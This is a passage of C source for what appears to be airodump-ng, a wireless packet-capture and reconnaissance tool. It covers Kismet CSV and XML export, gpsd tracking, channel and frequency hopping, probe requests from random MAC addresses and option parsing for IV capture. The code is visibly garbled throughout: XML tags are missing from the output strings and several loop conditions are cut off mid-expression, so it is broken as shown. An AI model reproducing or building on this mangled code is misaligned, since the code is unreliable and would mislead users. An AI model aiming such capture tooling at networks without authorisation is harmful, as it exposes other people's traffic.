st_cur != NULL ) { /* If not associated or Broadcast Mac, try next one */ if ( st_cur->base == NULL || memcmp( st_cur->stmac, BROADCAST, 6 ) == 0 ) { st_cur = st_cur->next; continue; } /* Compare BSSID */ if ( memcmp( st_cur->base->bssid, ap_cur->bssid, 6 ) != 0 ) { st_cur = st_cur->next; continue; } ++client_nbr; strncpy(first_time, ctime(&st_cur->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&st_cur->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t\t\n", client_nbr, first_time, last_time ); fprintf( G.f_kis_xml, "\t\t\t%02X:%02X:%02X:%02X:%02X:%02X\n", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); /* Manufacturer, if set using standard oui list */ fprintf(G.f_kis_xml, "\t\t\t%s\n", (st_cur->manuf != NULL) ? st_cur->manuf : "Unknown"); /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t\t%d\n", ap_cur->channel); /* Rate: unaccurate because it's the latest rate seen */ client_max_rate = ( st_cur->rate_from > st_cur->rate_to ) ? st_cur->rate_from : st_cur->rate_to ; fprintf(G.f_kis_xml, "\t\t\t%.6f\n", client_max_rate / 1000000.0 ); /* Packets */ fprintf(G.f_kis_xml, "\t\t\t\n" "\t\t\t\t0\n" "\t\t\t\t0\n" "\t\t\t\t0\n" "\t\t\t\t%ld\n" "\t\t\t\t0\n" "\t\t\t\t0\n" "\t\t\t\n", st_cur->nb_pkt ); /* SNR information */ average_power = (st_cur->power == -1) ? 0 : st_cur->power; fprintf(G.f_kis_xml, "\t\t\t\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t1024\n" "\t\t\t\t1024\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\t%d\n" "\t\t\t\t0\n" "\t\t\t\n", average_power, average_power, average_power, average_power, average_power ); /* GPS Coordinates XXX: We don't have GPS coordinates for clients */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\n", 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 ); } /* Trailing information */ fprintf(G.f_kis_xml, "\t\t\t\n" "\t\t\t\n"); fprintf(G.f_kis_xml, "\t\t\n" ); /* Next client */ st_cur = st_cur->next; } /* SNR information */ average_power = (ap_cur->avg_power == -1) ? 0 : ap_cur->avg_power; fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t1024\n" "\t\t\t1024\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\t%d\n" "\t\t\t0\n" "\t\t\n", average_power, average_power, average_power, average_power, average_power ); /* GPS Coordinates */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\t%.6f\n" "\t\t\n", ap_cur->gps_loc_min[0], ap_cur->gps_loc_min[1], ap_cur->gps_loc_min[2], ap_cur->gps_loc_min[3], ap_cur->gps_loc_max[0], ap_cur->gps_loc_max[1], ap_cur->gps_loc_max[2], ap_cur->gps_loc_max[3], ap_cur->gps_loc_best[0], ap_cur->gps_loc_best[1], ap_cur->gps_loc_best[2], /* Can the "best" be considered as average??? */ ap_cur->gps_loc_best[0], ap_cur->gps_loc_best[1], ap_cur->gps_loc_best[2] ); } /* Trailing information */ fprintf(G.f_kis_xml, "\t\t0\n" "\t\t\n" "\t\t\n"); /* Closing tag for the current wireless network */ fprintf(G.f_kis_xml, "\t\n"); //-------- End of XML ap_cur = ap_cur->next; } /* Trailing */ fprintf( G.f_kis_xml, "%s\n", KISMET_NETXML_TRAILER ); fflush( G.f_kis_xml ); /* Sometimes there can be crap at the end of the file, so truncating is a good idea. XXX: Is this really correct, I hope fileno() won't have any side effect */ unused = ftruncate(fileno(G.f_kis_xml), ftell( G.f_kis_xml ) ); return 0; } #undef TIME_STR_LENGTH #define KISMET_HEADER "Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;GPSBestLon;GPSBestAlt;DataSize;IPType;IP;\n" int dump_write_kismet_csv( void ) { int i, k; // struct tm *ltime; /* char ssid_list[512];*/ struct AP_info *ap_cur; if (! G.record_data || !G.output_format_kismet_csv) return 0; fseek( G.f_kis, 0, SEEK_SET ); fprintf( G.f_kis, KISMET_HEADER ); ap_cur = G.ap_1st; k=1; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if( ap_cur->nb_pkt < 2 ) { ap_cur = ap_cur->next; continue; } //Network fprintf( G.f_kis, "%d;", k ); //NetType fprintf( G.f_kis, "infrastructure;"); //ESSID for(i=0; issid_length; i++) { fprintf( G.f_kis, "%c", ap_cur->essid[i] ); } fprintf( G.f_kis, ";" ); //BSSID fprintf( G.f_kis, "%02X:%02X:%02X:%02X:%02X:%02X;", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); //Info fprintf( G.f_kis, ";"); //Channel fprintf( G.f_kis, "%d;", ap_cur->channel); //Cloaked fprintf( G.f_kis, "No;"); //Encryption if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) != 0) { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_kis, "WPA2," ); if( ap_cur->security & STD_WPA ) fprintf( G.f_kis, "WPA," ); if( ap_cur->security & STD_WEP ) fprintf( G.f_kis, "WEP," ); if( ap_cur->security & STD_OPN ) fprintf( G.f_kis, "OPN," ); } if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_kis, "None,"); else { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_kis, "AES-CCM,"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_kis, "WRAP,"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_kis, "TKIP,"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis, "WEP104,"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_kis, "WEP40,"); /* if( ap_cur->security & ENC_WEP ) fprintf( G.f_kis, " WEP,");*/ } fseek(G.f_kis, -1, SEEK_CUR); fprintf(G.f_kis, ";"); //Decrypted fprintf( G.f_kis, "No;"); //MaxRate fprintf( G.f_kis, "%d.0;", ap_cur->max_speed ); //MaxSeenRate fprintf( G.f_kis, "0;"); //Beacon fprintf( G.f_kis, "%ld;", ap_cur->nb_bcn); //LLC fprintf( G.f_kis, "0;"); //Data fprintf( G.f_kis, "%ld;", ap_cur->nb_data ); //Crypt fprintf( G.f_kis, "0;"); //Weak fprintf( G.f_kis, "0;"); //Total fprintf( G.f_kis, "%ld;", ap_cur->nb_data ); //Carrier fprintf( G.f_kis, ";"); //Encoding fprintf( G.f_kis, ";"); //FirstTime fprintf( G.f_kis, "%s", ctime(&ap_cur->tinit) ); fseek(G.f_kis, -1, SEEK_CUR); fprintf( G.f_kis, ";"); //LastTime fprintf( G.f_kis, "%s", ctime(&ap_cur->tlast) ); fseek(G.f_kis, -1, SEEK_CUR); fprintf( G.f_kis, ";"); //BestQuality fprintf( G.f_kis, "%d;", ap_cur->avg_power ); //BestSignal fprintf( G.f_kis, "0;" ); //BestNoise fprintf( G.f_kis, "0;" ); //GPSMinLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[0]); //GPSMinLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[1]); //GPSMinAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[2]); //GPSMinSpd fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[3]); //GPSMaxLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[0]); //GPSMaxLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[1]); //GPSMaxAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[2]); //GPSMaxSpd fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[3]); //GPSBestLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[0]); //GPSBestLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[1]); //GPSBestAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[2]); //DataSize fprintf( G.f_kis, "0;" ); //IPType fprintf( G.f_kis, "0;" ); //IP fprintf( G.f_kis, "%d.%d.%d.%d;", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); fprintf( G.f_kis, "\r\n"); ap_cur = ap_cur->next; k++; } fflush( G.f_kis ); return 0; } void gps_tracker( void ) { ssize_t unused; int gpsd_sock; char line[256], *p; struct sockaddr_in gpsd_addr; int ret; /* attempt to connect to localhost, port 2947 */ gpsd_sock = socket( AF_INET, SOCK_STREAM, 0 ); if( gpsd_sock < 0 ) { return; } gpsd_addr.sin_family = AF_INET; gpsd_addr.sin_port = htons( 2947 ); gpsd_addr.sin_addr.s_addr = inet_addr( "127.0.0.1" ); if( connect( gpsd_sock, (struct sockaddr *) &gpsd_addr, sizeof( gpsd_addr ) ) < 0 ) { return; } /* loop reading the GPS coordinates */ while( G.do_exit == 0 ) { sleep( 1 ); memset( G.gps_loc, 0, sizeof( float ) * 5 ); /* read position, speed, heading, altitude */ memset( line, 0, sizeof( line ) ); snprintf( line, sizeof( line ) - 1, "PVTAD\r\n" ); if( send( gpsd_sock, line, 7, 0 ) != 7 ) return; if (G.do_exit) return; memset( line, 0, sizeof( line ) ); if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; if (G.do_exit) return; if( memcmp( line, "GPSD,P=", 7 ) != 0 ) continue; /* make sure the coordinates are present */ if( line[7] == '?' ) continue; ret = sscanf( line + 7, "%f %f", &G.gps_loc[0], &G.gps_loc[1] ); if( ( p = strstr( line, "V=" ) ) == NULL ) continue; ret = sscanf( p + 2, "%f", &G.gps_loc[2] ); /* speed */ if( ( p = strstr( line, "T=" ) ) == NULL ) continue; ret = sscanf( p + 2, "%f", &G.gps_loc[3] ); /* heading */ if( ( p = strstr( line, "A=" ) ) == NULL ) continue; ret = sscanf( p + 2, "%f", &G.gps_loc[4] ); /* altitude */ if (G.record_data) fputs( line, G.f_gps ); G.save_gps = 1; if (G.do_exit == 0) { unused = write( G.gc_pipe[1], G.gps_loc, sizeof( float ) * 5 ); kill( getppid(), SIGUSR2 ); } } } void sighandler( int signum) { ssize_t unused; int card=0; signal( signum, sighandler ); if( signum == SIGUSR1 ) { unused = read( G.cd_pipe[0], &card, sizeof(int) ); if(G.freqoption) unused = read( G.ch_pipe[0], &(G.frequency[card]), sizeof( int ) ); else unused = read( G.ch_pipe[0], &(G.channel[card]), sizeof( int ) ); } if( signum == SIGUSR2 ) unused = read( G.gc_pipe[0], &G.gps_loc, sizeof( float ) * 5 ); if( signum == SIGINT || signum == SIGTERM ) { reset_term(); alarm( 1 ); G.do_exit = 1; signal( SIGALRM, sighandler ); printf( "\n" ); } if( signum == SIGSEGV ) { fprintf( stderr, "Caught signal 11 (SIGSEGV). Please" " contact the author!\33[?25h\n\n" ); fflush( stdout ); exit( 1 ); } if( signum == SIGALRM ) { fprintf( stderr, "Caught signal 14 (SIGALRM). Please" " contact the author!\33[?25h\n\n" ); fflush( stdout ); exit( 1 ); } if( signum == SIGCHLD ) wait( NULL ); if( signum == SIGWINCH ) { fprintf( stderr, "\33[2J" ); fflush( stdout ); } } int send_probe_request(struct wif *wi) { int len; unsigned char p[4096], r_smac[6]; memcpy(p, PROBE_REQ, 24); len = 24; p[24] = 0x00; //ESSID Tag Number p[25] = 0x00; //ESSID Tag Length len += 2; memcpy(p+len, RATES, 16); len += 16; r_smac[0] = 0x00; r_smac[1] = rand() & 0xFF; r_smac[2] = rand() & 0xFF; r_smac[3] = rand() & 0xFF; r_smac[4] = rand() & 0xFF; r_smac[5] = rand() & 0xFF; memcpy(p+10, r_smac, 6); if (wi_write(wi, p, len, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } return 0; } int send_probe_requests(struct wif *wi[], int cards) { int i=0; for(i=0; i if_num ) { while( again ) { again = 0; for( k = 0; k < ( if_num - 1 ); k++ ) { if( G.channels[ch_idx] == G.channel[k] ) { again = 1; ch_idx = chi % chan_count; chi++; } } } } } if( G.channels[ch_idx] == -1 ) { j--; cai--; dropped++; if(dropped >= chan_count) { ch = wi_get_channel(wi[card]); G.channel[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } continue; } dropped = 0; ch = G.channels[ch_idx]; if(wi_set_channel(wi[card], ch ) == 0 ) { G.channel[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); if(G.active_scan_sim > 0) send_probe_request(wi[card]); kill( getppid(), SIGUSR1 ); usleep(1000); } else { G.channels[ch_idx] = -1; /* remove invalid channel */ j--; cai--; continue; } } if(G.chswitch == 0) { chi=chi-(if_num - 1); } if(first) { first = 0; } usleep( (G.hopfreq*1000) ); } exit( 0 ); } void frequency_hopper(struct wif *wi[], int if_num, int chan_count ) { ssize_t unused; int ch, ch_idx = 0, card=0, chi=0, cai=0, j=0, k=0, first=1, again=1; int dropped=0; while( getppid() != 1 ) { for( j = 0; j < if_num; j++ ) { again = 1; ch_idx = chi % chan_count; card = cai % if_num; ++chi; ++cai; if( G.chswitch == 2 && !first ) { j = if_num - 1; card = if_num - 1; if( getfreqcount(1) > if_num ) { while( again ) { again = 0; for( k = 0; k < ( if_num - 1 ); k++ ) { if( G.own_frequencies[ch_idx] == G.frequency[k] ) { again = 1; ch_idx = chi % chan_count; chi++; } } } } } if( G.own_frequencies[ch_idx] == -1 ) { j--; cai--; dropped++; if(dropped >= chan_count) { ch = wi_get_freq(wi[card]); G.frequency[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } continue; } dropped = 0; ch = G.own_frequencies[ch_idx]; if(wi_set_freq(wi[card], ch ) == 0 ) { G.frequency[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } else { G.own_frequencies[ch_idx] = -1; /* remove invalid channel */ j--; cai--; continue; } } if(G.chswitch == 0) { chi=chi-(if_num - 1); } if(first) { first = 0; } usleep( (G.hopfreq*1000) ); } exit( 0 ); } int invalid_channel(int chan) { int i=0; do { if (chan == abg_chans[i] && chan != 0 ) return 0; } while (abg_chans[++i]); return 1; } int invalid_frequency(int freq) { int i=0; do { if (freq == frequencies[i] && freq != 0 ) return 0; } while (frequencies[++i]); return 1; } /* parse a string, for example "1,2,3-7,11" */ int getchannels(const char *optarg) { unsigned int i=0,chan_cur=0,chan_first=0,chan_last=0,chan_max=128,chan_remain=0; char *optchan = NULL, *optc; char *token = NULL; int *tmp_channels; //got a NULL pointer? if(optarg == NULL) return -1; chan_remain=chan_max; //create a writable string optc = optchan = (char*) malloc(strlen(optarg)+1); strncpy(optchan, optarg, strlen(optarg)); optchan[strlen(optarg)]='\0'; tmp_channels = (int*) malloc(sizeof(int)*(chan_max+1)); //split string in tokens, separated by ',' while( (token = strsep(&optchan,",")) != NULL) { //range defined? if(strchr(token, '-') != NULL) { //only 1 '-' ? if(strchr(token, '-') == strrchr(token, '-')) { //are there any illegal characters? for(i=0; i '9') && (token[i] != '-')) { free(tmp_channels); free(optc); return -1; } } if( sscanf(token, "%d-%d", &chan_first, &chan_last) != EOF ) { if(chan_first > chan_last) { free(tmp_channels); free(optc); return -1; } for(i=chan_first; i<=chan_last; i++) { if( (! invalid_channel(i)) && (chan_remain > 0) ) { tmp_channels[chan_max-chan_remain]=i; chan_remain--; } } } else { free(tmp_channels); free(optc); return -1; } } else { free(tmp_channels); free(optc); return -1; } } else { //are there any illegal characters? for(i=0; i '9') ) { free(tmp_channels); free(optc); return -1; } } if( sscanf(token, "%d", &chan_cur) != EOF) { if( (! invalid_channel(chan_cur)) && (chan_remain > 0) ) { tmp_channels[chan_max-chan_remain]=chan_cur; chan_remain--; } } else { free(tmp_channels); free(optc); return -1; } } } G.own_channels = (int*) malloc(sizeof(int)*(chan_max - chan_remain + 1)); for(i=0; i<(chan_max - chan_remain); i++) { G.own_channels[i]=tmp_channels[i]; } G.own_channels[i]=0; free(tmp_channels); free(optc); if(i==1) return G.own_channels[0]; if(i==0) return -1; return 0; } /* parse a string, for example "1,2,3-7,11" */ int getfrequencies(const char *optarg) { unsigned int i=0,freq_cur=0,freq_first=0,freq_last=0,freq_max=10000,freq_remain=0; char *optfreq = NULL, *optc; char *token = NULL; int *tmp_frequencies; //got a NULL pointer? if(optarg == NULL) return -1; freq_remain=freq_max; //create a writable string optc = optfreq = (char*) malloc(strlen(optarg)+1); strncpy(optfreq, optarg, strlen(optarg)); optfreq[strlen(optarg)]='\0'; tmp_frequencies = (int*) malloc(sizeof(int)*(freq_max+1)); //split string in tokens, separated by ',' while( (token = strsep(&optfreq,",")) != NULL) { //range defined? if(strchr(token, '-') != NULL) { //only 1 '-' ? if(strchr(token, '-') == strrchr(token, '-')) { //are there any illegal characters? for(i=0; i '9') && (token[i] != '-')) { free(tmp_frequencies); free(optc); return -1; } } if( sscanf(token, "%d-%d", &freq_first, &freq_last) != EOF ) { if(freq_first > freq_last) { free(tmp_frequencies); free(optc); return -1; } for(i=freq_first; i<=freq_last; i++) { if( (! invalid_frequency(i)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=i; freq_remain--; } } } else { free(tmp_frequencies); free(optc); return -1; } } else { free(tmp_frequencies); free(optc); return -1; } } else { //are there any illegal characters? for(i=0; i '9') ) { free(tmp_frequencies); free(optc); return -1; } } if( sscanf(token, "%d", &freq_cur) != EOF) { if( (! invalid_frequency(freq_cur)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=freq_cur; freq_remain--; } /* special case "-C 0" means: scan all available frequencies */ if(freq_cur == 0) { freq_first = 1; freq_last = 9999; for(i=freq_first; i<=freq_last; i++) { if( (! invalid_frequency(i)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=i; freq_remain--; } } } } else { free(tmp_frequencies); free(optc); return -1; } } } G.own_frequencies = (int*) malloc(sizeof(int)*(freq_max - freq_remain + 1)); for(i=0; i<(freq_max - freq_remain); i++) { G.own_frequencies[i]=tmp_frequencies[i]; } G.own_frequencies[i]=0; free(tmp_frequencies); free(optc); if(i==1) return G.own_frequencies[0]; //exactly 1 frequency given if(i==0) return -1; //error occured return 0; //frequency hopping } int setup_card(char *iface, struct wif **wis) { struct wif *wi; wi = wi_open(iface); if (!wi) return -1; *wis = wi; return 0; } int init_cards(const char* cardstr, char *iface[], struct wif **wi) { char *buffer; char *buf; int if_count=0; int i=0, again=0; buf = buffer = (char*) malloc( sizeof(char) * 1025 ); strncpy( buffer, cardstr, 1025 ); buffer[1024] = '\0'; while( ((iface[if_count]=strsep(&buffer, ",")) != NULL) && (if_count < MAX_CARDS) ) { again=0; for(i=0; i *fdh) *fdh = fd_raw[i]; } } return 0; } int check_channel(struct wif *wi[], int cards) { int i, chan; for(i=0; i 0) { // printf("pos: %d\n", pos); last_freq = cur_freq; cur_freq = G.own_frequencies[pos%count]; if(cur_freq == last_used) round_done=1; // printf("count: %d, left: %d, last_used: %d, cur_freq: %d, width: %d\n", count, left, last_used, cur_freq, width); if(((count-left) > 0) && !round_done && ( ABS( last_used-cur_freq ) < width ) ) { // printf("skip it!\n"); pos++; continue; } if(!array_contains( freqs, count, cur_freq)) { // printf("not in there yet: %d\n", cur_freq); freqs[count - left] = cur_freq; last_used = cur_freq; left--; round_done = 0; } pos++; } memcpy(G.own_frequencies, freqs, count*sizeof(int)); free(freqs); return 0; } int main( int argc, char *argv[] ) { long time_slept, cycle_time, cycle_time2; char * output_format_string; int caplen=0, i, j, fdh, fd_is_set, chan_count, freq_count, unused; int fd_raw[MAX_CARDS], arptype[MAX_CARDS]; int ivs_only, found; int valid_channel; int freq [2]; int num_opts = 0; int option = 0; int option_index = 0; char ifnam[64]; int wi_read_failed=0; int n = 0; int output_format_first_time = 1; struct AP_info *ap_cur, *ap_prv, *ap_next; struct ST_info *st_cur, *st_next; struct NA_info *na_cur, *na_next; struct oui *oui_cur, *oui_next; struct pcap_pkthdr pkh; time_t tt1, tt2, tt3, start_time; struct wif *wi[MAX_CARDS]; struct rx_info ri; unsigned char tmpbuf[4096]; unsigned char buffer[4096]; unsigned char *h80211; char *iface[MAX_CARDS]; struct timeval tv0; struct timeval tv1; struct timeval tv2; struct timeval tv3; struct timeval tv4; struct tm *lt; /* struct sockaddr_in provis_addr; */ fd_set rfds; static struct option long_options[] = { {"band", 1, 0, 'b'}, {"beacon", 0, 0, 'e'}, {"beacons", 0, 0, 'e'}, {"cswitch", 1, 0, 's'}, {"netmask", 1, 0, 'm'}, {"bssid", 1, 0, 'd'}, {"channel", 1, 0, 'c'}, {"gpsd", 0, 0, 'g'}, {"ivs", 0, 0, 'i'}, {"write", 1, 0, 'w'}, {"encrypt", 1, 0, 't'}, {"update", 1, 0, 'u'}, {"berlin", 1, 0, 'B'}, {"help", 0, 0, 'H'}, {"nodecloak",0, 0, 'D'}, {"showack", 0, 0, 'A'}, {"detect-anomaly", 0, 0, 'E'}, {"output-format", 1, 0, 'o'}, {0, 0, 0, 0 } }; pthread_mutex_init( &(G.mx_print), NULL ); pthread_mutex_init( &(G.mx_sort), NULL ); textstyle(TEXT_RESET);//(TEXT_RESET, TEXT_BLACK, TEXT_WHITE); /* initialize a bunch of variables */ srand( time( NULL ) ); memset( &G, 0, sizeof( G ) ); h80211 = NULL; ivs_only = 0; G.chanoption = 0; G.freqoption = 0; G.num_cards = 0; fdh = 0; fd_is_set = 0; chan_count = 0; time_slept = 0; G.batt = NULL; G.chswitch = 0; valid_channel = 0; G.usegpsd = 0; G.channels = bg_chans; G.one_beacon = 1; G.singlechan = 0; G.singlefreq = 0; G.dump_prefix = NULL; G.record_data = 0; G.f_cap = NULL; G.f_ivs = NULL; G.f_txt = NULL; G.f_kis = NULL; G.f_kis_xml = NULL; G.f_gps = NULL; G.keyout = NULL; G.f_xor = NULL; G.sk_len = 0; G.sk_len2 = 0; G.sk_start = 0; G.prefix = NULL; G.f_encrypt = 0; G.asso_client = 0; G.active_scan_sim = 0; G.update_s = 0; G.decloak = 1; G.is_berlin = 0; G.numaps = 0; G.maxnumaps = 0; G.berlin = 120; G.show_ap = 1; G.show_sta = 1; G.show_ack = 0; G.hide_known = 0; G.hopfreq = DEFAULT_HOPFREQ; G.s_file = NULL; G.s_iface = NULL; G.f_cap_in = NULL; G.detect_anomaly = 0; G.airodump_start_time = NULL; G.manufList = NULL; G.output_format_pcap = 1; G.output_format_csv = 1; G.output_format_kismet_csv = 1; G.output_format_kismet_netxml = 1; // Default selection. resetSelection(); memset(G.sharedkey, '\x00', 512*3); memset(G.message, '\x00', sizeof(G.message)); memset(&G.pfh_in, '\x00', sizeof(struct pcap_file_header)); gettimeofday( &tv0, NULL ); lt = localtime( (time_t *) &tv0.tv_sec ); G.keyout = (char*) malloc(512); memset( G.keyout, 0, 512 ); snprintf( G.keyout, 511, "keyout-%02d%02d-%02d%02d%02d.keys", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); for(i=0; i= 3) { if(argv[i][0] == '-' && argv[i][1] != '-') { //we got a single dash followed by at least 2 chars //lets check that against our long options to find errors for(j=0; j1 && strcmp(argv[i-1], "-") == 0) { //separated dashes? printf("Notice: You specified \"%s %s\". Did you mean \"%s%s\" instead?\n", argv[i-1], argv[i], argv[i-1], argv[i]); } else { //forgot second dash? printf("Notice: You specified \"%s\". Did you mean \"-%s\" instead?\n", argv[i], argv[i]); } break; } } if(found) { sleep(3); break; } } } } do { option_index = 0; option = getopt_long( argc, argv, "b:c:egiw:s:t:u:m:d:aHDB:Ahf:r:EC:o:x:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':': printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?': printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'E': G.detect_anomaly = 1; break; case 'e': G.one_beacon = 0; break; case 'a': G.asso_client = 1; break; case 'A': G.show_ack = 1; break; case 'h': G.hide_known = 1; break; case 'D': G.decloak = 0; break; case 'c' : if (G.channel[0] > 0 || G.chanoption == 1) { if (G.chanoption == 1) printf( "Notice: Channel range already given\n" ); else printf( "Notice: Channel already given (%d)\n", G.channel[0]); break; } G.channel[0] = getchannels(optarg); if ( G.channel[0] < 0 ) goto usage; G.chanoption = 1; if( G.channel[0] == 0 ) { G.channels = G.own_channels; break; } G.channels = bg_chans; break; case 'C' : if (G.channel[0] > 0 || G.chanoption == 1) { if (G.chanoption == 1) printf( "Notice: Channel range already given\n" ); else printf( "Notice: Channel already given (%d)\n", G.channel[0]); break; } if (G.freqoption == 1) { printf( "Notice: Frequency range already given\n" ); break; } G.freqstring = optarg; G.freqoption = 1; break; case 'b' : if (G.chanoption == 1 && option != 'c') { printf( "Notice: Channel range already given\n" ); break; } freq[0] = freq[1] = 0; for (i = 0; i < (int)strlen(optarg); i++) { if ( optarg[i] == 'a' ) freq[1] = 1; else if ( optarg[i] == 'b' || optarg[i] == 'g') freq[0] = 1; else { printf( "Error: invalid band (%c)\n", optarg[i] ); printf("\"%s --help\" for help.\n", argv[0]); exit ( 1 ); } } if (freq[1] + freq[0] == 2 ) G.channels = abg_chans; else { if ( freq[1] == 1 ) G.channels = a_chans; else G.channels = bg_chans; } break; case 'i': // Reset output format if it's the first time the option is specified if (output_format_first_time) { output_format_first_time = 0; G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; } if (G.output_format_pcap) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } ivs_only = 1; break; case 'g': G.usegpsd = 1; /* if (inet_aton(optarg, &provis_addr.sin_addr) == 0 ) { printf("Invalid IP address.\n"); return (1); } */ break; case 'w': if (G.dump_prefix != NULL) { printf( "Notice: dump prefix already given\n" ); break; } /* Write prefix */ G.dump_prefix = optarg; G.record_data = 1; break; case 'r' : if( G.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } G.s_file = optarg; break; case 's': if (atoi(optarg) > 2) { goto usage; } if (G.chswitch != 0) { printf("Notice: switching method already given\n"); break; } G.chswitch = atoi(optarg); break; case 'u': G.update_s = atoi(optarg); /* If failed to parse or value <= 0, use default, 100ms */ if (G.update_s <= 0) G.update_s = REFRESH_RATE; break; case 'f': G.hopfreq = atoi(optarg); /* If failed to parse or value <= 0, use default, 100ms */ if (G.hopfreq <= 0) G.hopfreq = DEFAULT_HOPFREQ; break; case 'B': G.is_berlin = 1; G.berlin = atoi(optarg); if (G.berlin <= 0) G.berlin = 120; break; case 'm': if ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) { printf("Notice: netmask already given\n"); break; } if(getmac(optarg, 1, G.f_netmask) != 0) { printf("Notice: invalid netmask\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd': if ( memcmp(G.f_bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); break; } if(getmac(optarg, 1, G.f_bssid) != 0) { printf("Notice: invalid bssid\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 't': set_encryption_filter(optarg); break; case 'o': // Reset output format if it's the first time the option is specified if (output_format_first_time) { output_format_first_time 